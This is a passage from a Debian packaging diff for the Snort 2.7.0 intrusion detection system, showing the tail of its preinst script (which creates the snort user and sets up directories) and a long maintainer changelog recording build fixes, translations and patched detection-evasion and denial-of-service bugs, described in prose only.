+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+	# If this is the first time we are installation then create
+	# the /etc/snort/db-pending-config
+	if [ "$1" = "install" ] && [ -z "$2" ] ; then
+		touch /etc/snort/db-pending-config
+	fi
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/changelog
+++ snort-2.7.0/debian/changelog
@@ -0,0 +1,1983 @@
+snort (2.7.0-20.4) stable; urgency=high
+
+  * Fix error in call to LogMessage (missing parameters) which caused a
+    segfault when fragmented packages were received. This bug was introduced in
+    the patch to fix CVE-2008-1804. Urgency set to 'high' as in some
+    circunstances it makes Snort fail to start on startup or die after
+    working for only a few minutes. Also, this could be used as a DoS
+    attack against an IDS sensor rendering it useless. (Closes: #503992)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 22 Mar 2009 00:16:44 +0100
+
+snort (2.7.0-20.3) testing-proposed-updates; urgency=low
+
+  * Reupload to testing to *really* depend on newer libpcre.
+  * Include patch from dato to make the package binNMU-safe
+  * Remove debian/CVS and debian/my/CVS
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 04 Nov 2008 22:35:26 +0100
+
+snort (2.7.0-20.2) testing-proposed-updates; urgency=high
+
+  * Upload to testing-proposed-updates to fix security bug CVE-2008-1804 (see
+    below). This package cannot go through sid since the sid build uses
+    a newer libpcre version not available in lenny. (Closes: #483160)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 28 Oct 2008 21:32:48 +0100
+
+snort (2.7.0-20) unstable; urgency=high
+
+  [ CVE-2008-1804 ]
+  * Fix error in preprocessors/spp_frag3.c that prevented Snort from properly
+    identifying packet fragments that had dissimilar TTL values, which allowed
+    remote attackers to bypass detection rules by using a different TTL for
+    each fragment. Also update src/generators.h to include the new FRAG3_MIN_TTL
+    defines (Closes: #483160)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 22 Oct 2008 01:33:34 +0200
+
+snort (2.7.0-19) unstable; urgency=low
+
+  * Make the snort_rules_update example script use bash instead of sh.
+    (Closes: #489662)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sat, 09 Aug 2008 22:31:47 +0200
+
+snort (2.7.0-18) unstable; urgency=low
+
+  * Romain debconf translation provided by Eddy Petrior (Closes: 486137)
+  * Swedish debconf translation provided by Martin Bagge (Closes: 491785)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 28 Jul 2008 22:39:37 +0200
+
+snort (2.7.0-17) unstable; urgency=low
+
+  * Include the README-database-upgrade.Debian in the documentation of the
+    database packages, I forgot to do this in -15
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Fri, 02 May 2008 11:52:12 +0200
+
+snort (2.7.0-16) unstable; urgency=low
+
+  * Lintian fixes:
+    - NEWS file now says unstable instead of experimental
+    - copyright file is now UTF-8
+    - wrap around files in the changelog
+    - remove empty /usr/src directory from snort-common-libraries
+    - fix spelling error in NEWS file
+    - fix manpage error in snort.8
+    - change doc-base sections to Network/Monitoring
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Fri, 02 May 2008 10:28:21 +0200
+
+snort (2.7.0-15) unstable; urgency=low
+
+  * Update to Standards-Version 3.7.3:
+    - Have the logrotate script call invoke-rc.d if available to do the 
+    'right thing' if the admin has configured Snort to not run by default.
+  * Copyright review:
+     - Add copyright statements to the debian/copyright
+     - Note that the Snort source code is distributed as GPL 2 only (not
+     version 3)
+     - Create a copyright_review.sh shell script to review the contents of
+     the sources and find new copyright statements
+     - Point in debian/copyright to the GPL-2 file, not to GPL (which is v3)
+  * Expand brace-expanded content in debian/rules to prevent bashism 
+    (Closes: #478627)
+  * Modify the provided snort_rules_update to use oinkcodes, note
+    in the script that the use of 'oinkmaster' should be preferred
+    (Closes: 314483)
+  * Remove Homepage: from binaries package when redundant with the
+    source package.
+  * Handle in the init.d script the case of interfaces being available
+    but not up, thanks to Drew Parsons for an exhaustive analysis and
+    patch (Closes: #471462)
+  * Remove header files from the snort-common-libraries package. If users
+    request it back I will create a snort-common-libraries-dev package
+    providing these headers (Closes: 440842)
+  * Database upgrade:
+      - Added README-database-upgrade.Debian to describe the steps that
+      need to be done to upgrade the Database, also update upstream's
+      (cursory) documentation to describe the v107 changes (Closes: 445334)
+      - [src/output-plugins/spo_database.c] Modify the text messages to 
+      point users to the proper location of documentation in Debian
+      systems as well as to the (Debian-specific) documentation 
+      related to databases.
+      - Tell users (through NEWS.Debian) that the schema changed from
+      2.6 to 2.7 and they will need to upgrade their database.
+  * Include the RELEASE NOTES for older releases and provide all of them
+    (for the 2.3, 2.4, and 2.6 releases) as users might find them useful
+    for upgrade purposes (Changelog might be too detailed)
+  * Debconf templates and debian/control reviewed by the debian-l10n-
+    english team as part of the Smith review project. Thanks to
+    Christian Perrier for his hard work getting this done (Closes: #469803)
+  * [Debconf translation updates]
+    - Italian translation, updated by Gianluca Cotr (Closes: #477056)
+    - Galician translation, updated by Jacobo Tarrio (Closes: #474622)
+    - Portuguese translation, updated by Traduz (Closes: #475086)
+    - German translation, updated by Erik Schanze (Closes: #477082)
+    - Vietnamese translation, updated by Clytie Siddall 
+      (Closes: #477324, #478223)
+    - French translation, updated by Christian Perrier  
+      (Closes: #478229, #478230)
+    - Czech translation, updated by Jan Outrata (Closes: #478246)
+    - Russian translation, updated by Yuri Kozlov (Closes: 478303)
+    - Dutch translation, updated by Peter Vandenabeele
+    - Spanish translation, updated by myself
+  * [New Debconf translations]
+    - Basque translation, provided by Piarres Beobide (Closes: #475457)
+    - Finnish translation, provided by Esko Esko Arajärvi 
+      (Closes: #475648, #478211)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 27 Apr 2008 21:58:37 +0200
+
+snort (2.7.0-14) unstable; urgency=high
+
+  * Move installation of the snort.default file from the install-indep rule to
+    the install rule. This error was preventing /etc/snort/default from being
+    created in the Snort binary packages and, consequently, the init.d would
+    fail to start properly and the package would not install (Closes: #471895,
+    #473282)
+  * Add libgnutls-dev Build-Depend (Closes: #476651)
+  * Fix typo in the name of the community rules in snort.conf, thanks to
+    David Gil for providing a patch (Closes: #470881)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 20 Apr 2008 21:39:47 +0200
+
+snort (2.7.0-13) unstable; urgency=low
+
+  * Make the build: target be an empty one, instead of having it depend on
+    both build-arch and build-indep
+  * Remove texlive-latex-recommended from Build-Depends-Indep as suggested by
+    James Vega
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 16 Mar 2008 00:16:47 +0100
+
+snort (2.7.0-12) unstable; urgency=low
+
+  * Add texlive-latex-recommended to Build-Depends-Indep since refcount.sty
+    and kvoptions.sty are used 
+  * Have the binary-{arch,indep} depend on install-{arch,indep} instead
+    of in the install target.
+      - Move install calls related to snort-common to the install-indep target
+  * Add some sty files to the build-indep checks in debian/rules so that the
+    documentation is not compiled unless all are available. Yes, buildds are
+    stupid enough to pre-install latex, make the previous checks insufficient
+    and *still* call the build (not build-arch) target! (Closes: #445113)
+  * Unindent comments in debian/rules so that they do not show up.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sat, 15 Mar 2008 20:13:34 +0100
+
+snort (2.7.0-11) unstable; urgency=low
+
+  * Make the init.d script not depend on the availability of iproute.
+    (Closes: #463020, #466674) 
+  * Added a Recommends on iproute, as it can be used to improve the
+    behaviour of the initd script.
+  * Modify the init.d script to remove also the lockfiles for PIDFILEs
+  * Move snort-doc to Suggests in the snort package and add it to snort-pgsl
+    and snort-mysql too.
+  * Fix FTBFS on GNU/kFreeBSD (due to unsatisfied Build-Depends on
+    iptables-dev), thanks to Petr Salinger for the fix (Closes: #466073)
+  * Modify src/snort.c to prevent it from showing a message when it tries to
+    remove the PIDFILE. This fails in Debian since Snort is not running 
+    as the root user and the daemon cannot modify /var/run. The code is 
+    changed so that the error message related to not being able to remove the
+    PIDFILE is only presented if running as root or writing the PIDFILE to a
+    directory that is not /var/run. (Closes: #462423)
+  * Po-debconf translation updates:
+      - Fix error in Italian translation (Closes: #462865)
+      - Japanese translation update, provided by Hideki Yamane (Closes: #463650)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 24 Feb 2008 22:21:09 +0100
+
+snort (2.7.0-10) unstable; urgency=low
+
+  * Add a new ALLOW_UNAVAILABLE definition in /etc/default/snort which
+    makes the init.d not complain if a configured interface is not available.
+    Also make the init.d script not break if no instances are configured
+    through debconf (to make it possible to use snort using just if-up.d
+    by providing a given interface instance as a 'start' parameter)
+    (Closes: #458823)
+  * Fix typo in templates, unfuzzy translations I can "understand" and
+    which seem to have fixed the typo themselves.
+  * Po-debconf updates:
+    - Update German translation provided by Erik Schanze (Closes: #462674)
+    - Updated Italian translation provided by Gianluca Cotr (Closes: #462865)
+    - Romanian translation provided by Eddy Petrisor (Closes: #460344)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 27 Jan 2008 11:12:05 +0100
+
+snort (2.7.0-9) unstable; urgency=low
+
+  * Modify debian/rules to prevent autobuilders from building 
+    the binary-independent components: (Closes: #445113)
+    (Thanks dato for the tip)
+     * Create a new Build-Depends-Indep with all the TeX components used
+       to build documentation
+     * Since autobuilders call build, which in turns calls build-indep, hack
+       the debian rules file so that the documentation is only built
+       if ps2pdf, dvips and pslatex are available. 
+  * Enable prelude support in all variants (Closes: #458790)
+  * Debconf translation updates:
+     - Dutch, provided by Peter Vandenabeele
+     - Vietnamese, provided by Clytie Siddall (Closes: #458161)
+     - Portuguese, provided by Miguel Figueiredo (Closes: #458214)
+     - Galician, provided by Jacobo Tarrio (Closes: #458533)
+     - French, provided by Christian Perrier (Closes: #458621)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 31 Dec 2007 00:31:13 +0100
+
+snort (2.7.0-8) unstable; urgency=low
+
+  * Rewrite debian/rules:
+      - the documentation does not get build on the binary-arch target,
+      (Closes: #445113) 
+      - there is now a install-dep and install-arch
+      - install-* dependencies do not depend on build
+      - create a 'clean-sources' target, used only by the 'clean' target
+      - create a clean_sources.sh script to clean the sources properly before
+        each run
+      - call 'clean_sources.sh' before a binary (pgsql, mysql...) is built to
+        prevent the binary-* rule from calling 'distclean' at the end of each
+        run (and thus making issues more difficult to debug)
+      - generate a configure target and use it when building both -arch
+        and -indep (needed to generate doc/Makefile)
+      - copy, instead of moving, the binaries, so the 'install' target 
+        is more idempotent (still have to use dh_install more to make it so)
+  * Change Maintainer's email address
+  * Create a mechanism to generate all the templates using a "template of
+    templates" since all the questions where the same with small differences
+    per package.
+      - Also fixed snort-inline templates, which were not correct (pointed
+        to the wrong configuration file)
+      - Update Spanish translation myself
+  * Change the init.d script so it behaves like LSB demands:
+      - Do not exit with error if there are no running instances and we
+        try to stop
+      - With 'status', exit with a 1/3 error based on the existence (or not
+        of the pidfiles)
+      - Dot not exit with error when trying to start an instance that is
+        already started (use running() for that)
+      - Check if the user is root before attempting to star/stop/restart
+      - Adjust to LSB exit values (instead of just using always '1', use
+        3-6 to indicate several different errors)
+  * Lintian cleanup:
+      - Move Homepage: from the description to a pseudo-header in
+      debian/control
+      - do not ignore distclean errors
+      - remove call to dh_suidregister, we did not use it
+      - add DEBHELPER token to snort-common.postinst
+      - update config.guess and config.sub with automake's 1.7 versions
+        (this is not done automatically in the package, however)
+      - replace ${Source-Version} substvar with ${binary:version}
+      - Move the configuration check of snort-common over to the config
+        script and leave the postinst only to check the status of the
+        init.d script. Also, modify the snort-common.postinst so it only
+        does the configuration check if invoke-rc.d (if installed)
+      - Fix 'malformed-title-in-templates' in all templates by removing
+        the ending dot
+      - Fix the 'malformed-prompt-in-templates' by adjusting the contents
+        of all the titles affected
+      - Shorten the length of the 'interface' template
+      - Fix syntax on debian/NEWS
+      - Remove empty dirs
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Thu, 27 Dec 2007 09:14:00 +0100
+
+snort (2.7.0-7) unstable; urgency=low
+
+  * Remove empty comment line in lsb headers
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 01 Oct 2007 03:01:26 +0200
+
+snort (2.7.0-6) unstable; urgency=low
+
+  * Create a separate snort-libraries package and move all the libraries that
+    were previously (wrongly) included in the snort-common package there
+    (Closes: #439642)
+  * Add proper LSB headers, license and copyright to the init.d file
+  * Also add proper messages to the init script and proper checks to generate
+    the correct errors when non-root users try to run the script. Exit status
+    of the script should now reflect better the problems found.
+  * Removed dependencies on essential packages (coreutils)
+  * Recode Debian changelog to UTF-8
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 01 Oct 2007 01:24:32 +0200
+
+snort (2.7.0-5) unstable; urgency=low
+
+  * Initialise variables in preinst to prevent collisions with predefined
+    environment variables (Closes: #443481)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Fri, 21 Sep 2007 22:49:25 +0200
+
+snort (2.7.0-4) unstable; urgency=low
+
+  * Fix phrase in the NEWS file
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 29 Aug 2007 18:26:45 +0200
+
+snort (2.7.0-3) unstable; urgency=low
+
+  * Move over the package to unstable.
+  * Fix FBTFS at Ubuntu due to snort_manual.tex still using latex2html's
+    html.sty. Thanks Michael Bienia for spotting this and point at the
+    issue with a patch (Closes: 436244)
+  * Fixed a typo in the French translation (Closes: 432840)
+  * Fix documentation errors in debian/README-database.debian. (Closes: 416400)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 06 Aug 2007 23:28:02 +0200
+
+snort (2.7.0-2) experimental; urgency=low
+
+  * Fix generation of the common snort binary, which was distributed without
+    prelude support.
+  * Fix location of dynamic engines in snort.conf
+  * Change signatures 1443 and 1444 since there was an error in their
+    definition ( Cannot use 'rawbytes' and 'http_uri' as modifiers for the
+    same "content" nor use 'rawbytes' with "uricontent". )
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 01 Aug 2007 02:49:50 +0200
+
+snort (2.7.0-1) experimental; urgency=low
+
+  * New upstream release (Closes: #435417, #404991, #320920, #323985)
+     - Fixes DOS attack: CVE-2006-6931 - "Backtracking Algorithmic Complexity"
+       DoS against IDS engine (Closes: #407421)
+  * Introduce all the rules available from the 2.4 release which are GPL and
+    are non-VRT certified, that is, all rules which are outside of the range
+    [3,465-1,000,000]. This amounts to a total of 3935 rules (820 of which are
+    Community released).
+  * In order to handle rulesets with mixed GPL and non-GPL rules two scripts
+    have been made available in the source rules/ subdirectory:
+        - remove-non-gpl.pl - Given a rules file removes all rules outside
+          the above range
+        - purge-non-gpl.sh - Given a directory dumps on the local directory
+          only rules outside this range.
+    In order to limit maintainer overhead the header for modified rulesets has
+    not been changed.
+  * Include the VRT license file. This file is kept for reference under the
+    rules/ dir, although *no* rule in this package is under that non-free license.
+  * Include a NEWS.Debian item describing the license change and the rules
+    distributed within this package.
+    not in the database packages (Closes: #320920)
+  * As a consequence of the above Build-Depend on libprelude-dev, iptables-dev
+  * Provide support for Prelude in both snort and snort-inline packages but
+  * The examples are now included in the -common package instead of having
+    them  in all the binary packages
+
+  This package provides support to make an experimental separate binary
+  package for inline support: snort-inline, which most of the configuration is
+  shared with the snort binary package but the PPP related options have been
+  removed. However, snort-inline does not support libnet 1.1 so we cannot
+  provide it yet. This has been changed in Snort's code but it's far from
+  complete:
+       - Make the configure script work with libnet 1.1. 
+       - Port parts of the API (some declarations) to 1.1
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 31 Jul 2007 23:35:06 +0200
+
+snort (2.3.3-15) unstable; urgency=low
+
+  * Include all the community signatures available as of today into the
+    snort-signatures package. This means 820 new signatures go in.
+  * Sync mappings:
+    * Updated the gen-msg.map under rules/ with the maps under etc/ 
+    * Updated the sid-msg.map under etc/ with the maps under rules/ 
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 31 Jul 2007 21:57:46 +0200
+
+snort (2.3.3-14) unstable; urgency=low
+
+  * Use the patch provided by Matt Kraai to fix the FTBFS due to the
+    tetex -> Texlive transition. Also make the package Build-Depend 
+    on texlive and texlive-latex-base instead of tetex-bin and tetex-extra
+    (Closes: 419454)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sun, 22 Apr 2007 16:41:50 +0200
+
+snort (2.3.3-13) unstable; urgency=low
+
+  * Translations added:
+    - Tamil translation, provided by Tirumurti Vasudevan (Closes: #413830)
+    - Russian translation, provided by Yuriy Talakan' (Closes: #411822)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 13 Mar 2007 16:30:52 +0100
+
+snort (2.3.3-12) unstable; urgency=low
+
+  * Translations updated:
+    - Czech (Closes: #408619)
+    - Swedish
+  * New translations
+    - Galician, provided by Jacobo Tarrio (Closes: #409651)
+    - Italian, provided by Gianluca Cotrino. Slightly edited to fix header. (Closes: #411270)
+    - Romanian, provided by Eddy Petrisor (Closes: #409505)
+    - Portuguese, provided by Miguel Figueiredo
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sun, 18 Feb 2007 12:25:45 +0100
+
+snort (2.3.3-11) unstable; urgency=low
+
+  * Restore German translation (somehow removed in previous upload), courtesy
+    of Erik Schanze (Closes: #397017)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue,  2 Jan 2007 17:26:10 +0100
+
+snort (2.3.3-10) unstable; urgency=low
+
+  * Fix snort-mysql template to prevent translators from duplicating work
+    (two templates were nearly identical except for a double space)
+  [ Translations update ]
+  * Updated Spanish translation
+  * Updated Japanese translation, courtesy of Hideki Yamane (Closes: #391894)
+  * Updated German translation, courtesy of Erik Schanze (Closes: #397017)
+  * Updated Dutch translation, courtesy of Peter Vandenabeele.
+  * Updated Vietnamese translation, courtesy of Clytie Siddall
+  * Fix error in Catalan translation (which made msgstat fail)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 21 Dec 2006 19:52:38 +0100
+
+snort (2.3.3-9) unstable; urgency=low
+
+  * Do not try to remove /etc/snort in postrm if it does not exist anymore
+    when purging (Closes: #389766)
+  * Simplify coreutils dependencies (Closes: #381836)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sun,  1 Oct 2006 23:29:20 +0200
+
+snort (2.3.3-8) unstable; urgency=medium
+
+  * Fix security issue CVE-2006-2769, potential evasion in URI content
+    buffers. This evasion only applies to Apache protected servers since
+    that server supports some characters. The patch used is from 2.4.5
+    and is *not* the one provided by Demarc (which is not fully
+    comprehensive and is much more intrusive).
+    Since this is an evasion issue and not a real security issue 
+    thus the 'medium' urgency even though it fixes security bug (Closes:
+    #381726)
+
+    From upstream (snort.org webpage, News item "Possible Evasion in
+    http_inspect"): 
+
+     «The Apache web server supports special characters in HTTP requests that
+     do not affect the processing of the particular request. The current
+     target-based profiles for Apache in the http_inspect preprocessor do not
+     properly handle these requests, resulting in the possibility that an
+     attacker can bypass detection of rules that use the "uricontent" keyword
+     by embedding special characters in a HTTP request.»
+
+     «It is important to note that this is an evasion and not a vulnerability.
+     This means that while it is possible for an attacker to bypass detection,
+     Snort sensors and the networks they protect are not at a heightened risk
+     of other attacks.»
+
+  * Backport fix of another (different) potential evasion in Stream4 (also in
+    the Snort 2.4.5 release, no CVE name)
+  * Relocate Czech translation, it was not under debian/po
+  * Add a warning in /etc/default/snort that the SNORT_USER will be 
+    modified (with usermod) every time you reinstall the package
+    (don't change it to 'root'!)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 10 Aug 2006 00:44:36 +0200
+
+snort (2.3.3-7) unstable; urgency=low
+
+  * *Really* recompile to use latest libmysqlclient libraries (Closes:
+    #366748)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat,  3 Jun 2006 15:20:57 +0200
+
+snort (2.3.3-6) unstable; urgency=medium
+
+  * Recompile to use latest libmysqlclient libraries (Closes: #366748)
+  * Remove the following unused dependencies as suggested by  Stefan Huehner:
+    libsnmp4.2-dev and libssl-dev (and their --with calls in debian/rules) . I'm
+    still keeping the coreutils | fileutils dependency since I still want to
+    compile this package in woody.(Closes: #365874)
+  * Also remove DH_COMPAT from debian/rules as suggested by  Stefan Huehner in
+    #365874
+  * Move 'debian/my/lisapaper.txt' to snort-doc.docs and remove from snort,
+    snort-pgsql and snort-mysql doc files (Closes: #340091)
+  * Have faq.tex use hyperref.sty instead of latex2html's html.sty and comment
+    the \latexonly definitions. This makes latex2html unnecessary to
+    build the package (Closes: #365872)
+  * doc-base files now point to the compressed PDF documents (lintian fix)
+  * Updated debconf translations:
+    - French translation provided by Christian Perrier (Closes: #359285)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 29 May 2006 20:05:29 +0200
+
+snort (2.3.3-5) unstable; urgency=low
+
+  * Updated Build-Dependencies to use libmysqlclient15-dev instead of the 
+    old libmysqlclient10 library (Closes: #356706)
+  * Add a 'DEBIAN_SNORT_SEND_STATS' option (controlled by debconf) to allow
+    users to define if snort should send daily stats. Users that want to
+    change the frequency should manually move over the cron.daily script
+    to other cron.XXX locations (Closes: #353035)
+  * Updated debconf translations:
+    - Dutch translation with patch provided by Peter Vandenabeele
+    - Spanish Debconf translation ('send_stats' template)
+  * Do not indent '@' in the e-mail of users that receive the stats (Closes: #335803)
+  * Preliminary code (only in snort.config) to detect if the default interface
+    is up when configuring Snort, the Debconf question priority is raised if
+    the interface is not up or it does not exist and the user is pestered
+    if he still provides an invalid answer (unless he doesn't see the
+    question, which is the case if running with debconf priority set to
+    'high', in this case, we bail out)
+    Note: will introduce this in the DB packages after it gets some testing
+    out there.
+  * Change the Debconf priority of the note that warns that  the configuration
+    is not working to 'critical' (was 'high')
+  * Acknowledge NMU made by Margarita:
+    * Drop automake1.6 dependency in Build-Depends (Closes: #335143)
+    * Updated config.guess and config.sub with the latest versions available
+      to prevent FTBFS on GNU/k*BSD (Closes: #342446)
+    * Updated german debconf translation with patch provided by Erik Schanze 
+      (Closes: #345855)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 22 Mar 2006 02:09:01 +0100
+
+snort (2.3.3-4) unstable; urgency=low
+
+  * Build-Depend on newer automake version: 1.7 (Closes: #335143)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 17 Jan 2006 02:10:41 +0100
+
+snort (2.3.3-3) unstable; urgency=low
+
+  * Properly remove the snort user on purge.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 20 Oct 2005 01:13:47 +0200
+
+snort (2.3.3-2.1) unstable; urgency=low
+
+  * NMU to drop automake1.6 dependency (Closes: #335143)
+  * Updated config.guess and config.sub (Closes: #342446)
+  * Updated german debconf translation (Closes: #345855)
+
+ -- Margarita Manterola <marga@debian.org>  Sun, 22 Jan 2006 21:54:43 -0300
+
+snort (2.3.3-2) unstable; urgency=high
+
+  * Backport the following changes introduced in 2.4.1. Upstream changelog:
+      * src/log.c:
+        Fix problem in sniffer mode when incomplete TCP option data is received.
+        Thanks A Hernandez for the find.
+    (Closes: #328134)
+    Note: This is a "security" bug but no CVE is assigned, it is actually
+    something that can happen only if a Snort user willingly shoots himself
+    on the foot (uses ASCII logging mode) or if he uses the fast output
+    mode with some non-default options.
+    For a detailed view see:
+    Martin Roesch's mail "Snort DoS Fallacies" to snort-users and bugtraq:
+    http://marc.theaimsgroup.com/?l=bugtraq&m=112665341207363&w=2
+    http://marc.theaimsgroup.com/?l=snort-users&m=112657845119746&w=2
+    http://marc.theaimsgroup.com/?l=snort-users&m=112667020331513&w=2
+    http://marc.theaimsgroup.com/?l=snort-devel&m=112672013010948&w=2
+    and also
+    http://www.snort.org/pub-bin/snortnews.cgi#58
+    To summarise: The only recommended alert methods in a production sensor
+    are unified, syslog or database. And unified is The Right Way to run
+    a sensor (others have important performance issues under high load )
+    NOTE to Debian Security teams: I don't believe this bug merits a DSA 
+    (or a DTSA for that matter)
+    (Closes: #328134)
+  * Backport the following changes introduced in 2.4.2. Upstream changelog:
+      * src/output-plugins/spo_log_database.c:
+      * schemas/create_mysql:
+        Fixes to address schema being a keyword in MySQL 5.0.  Thanks Wes Young,
+        Adolfo Gomez, and Aleem Mawji for the updates.
+    (Closes: #327791)
+  * Added Swedish translation provided by Daniel Nylander (Closes: #330834)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri, 30 Sep 2005 21:21:43 +0200
+
+snort (2.3.3-1) unstable; urgency=low
+
+  * New upstream release.
+  * Use upstream's FAQ in PDF format instead of debian/my/FAQ.txt, also
+    have the FAQ available only in the snort-doc package (after fixing 
+    the Makefile so that the faq.tex file does not get removed on distclean)
+  * Fix typo in snort.8 manpage (Closes: #326538)
+  * Fixed address of the FSF in debian/copyright
+  * Updated debconf translations:
+    - Vietnamese provided by Clytie Siddall
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 31 Aug 2005 19:47:16 +0200
+
+snort (2.3.2-8) unstable; urgency=low
+
+  * _Really_ use debhelper compat version 4 now
+  * Remove debian/*conffiles since debhelper now marks them as config files
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 27 Aug 2005 01:50:40 +0200
+
+snort (2.3.2-7) unstable; urgency=low
+
+  * Fix lintian warnings
+  * Fix error in database config scripts (when not upgrading, the
+    wait_for_db_config key does not exist) (Closes: #325223)
+  * Updated debconf translations:
+     - French provided by Christian Perrier
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 25 Aug 2005 21:52:19 +0200
+
+snort (2.3.2-6) unstable; urgency=low
+
+  * Add Dependency on "debconf | debconf-2.0" as requested by Joey Hess
+  * Use Debhelper compatibility version 4
+  * New mechanism for database packages:
+    - Introduce a mechanism to create /etc/snort/db-pending-config on
+      initial installation of the database packages.
+    - Have the init.d script abort the start attempt if the 
+      /etc/snort/db-pending-config file exists.
+    - Describe how to setup the database support in README-database.Debian
+      and install this document in the database packages.
+      (Closes: #205683, #219696, #265735, #265878, #290104, #291616)
+  * po-debconf changes:
+    (still waiting a little bit before switching to dbconfig-common)
+    - Sinchronise all the debconf templates of the different snort 
+      variants.
+    - Change the wait_for_db_config message, now called 'needs_db_config'
+      and provides slightly different information.
+    - Fixed typos in German debconf translation courtesy of Jens Seidel
+      (Closes: #313906)
+    - Added Japanese translation contributed by Hideki Yamane
+      (Closes: #310096)
+    - Added Vietnamese translation contributed by Clytie Siddall 
+      (Closes: #318695)
+    - Added Czech translation contributed by Jan Outrata (Closes: #321738)
+    - Updated the Spanish translation.
+    - Improve the debconf dialog with suggestions from Justin B Rye
+      (Closes: #306269)
+    - Fix the templates so that all the files use the same strings, that
+      should reduce the workload of translating almost identical lines.
+      (but also fuzzies more of the translations above)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 25 Aug 2005 14:59:29 +0200
+
+snort (2.3.2-5) unstable; urgency=medium
+
+  * Medium priority since it seems some buildds are not auto building
+    snort ok and this changes fix it.
+  * Use PostgreSQL 8.0 now as requested by Martin Pitt. Basicly just
+    changed the build-depends and use 'pg_config --includedir' when
+    setting the location of the PostgreSQL location. 
+  * Changes to configure.in: (Closes: #313499)
+    * Fixed configure.in so that it uses the --with dir directly first
+      (intead of looking for $i/include and stuff like that). 
+    * Fixed configure.in so that it outputs the PostgreSQL directories 
+      it tested by fixing a typo.
+    * Have all ERROR messages abort with an exit 1 so that the Makefile breaks
+      and we will notice the error if doing an automatic build.
+
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 14 Jun 2005 19:33:49 +0200
+
+snort (2.3.2-4) unstable; urgency=low
+
+  * Snort, snort-pgsql and snort-mysql now depend on either coreutils
+    or earlier packages which provided 'stat'. This should prevent
+    partial-upgrades of woody systems which prevent snort's init scripts
+    from running (Closes: #311616)
+
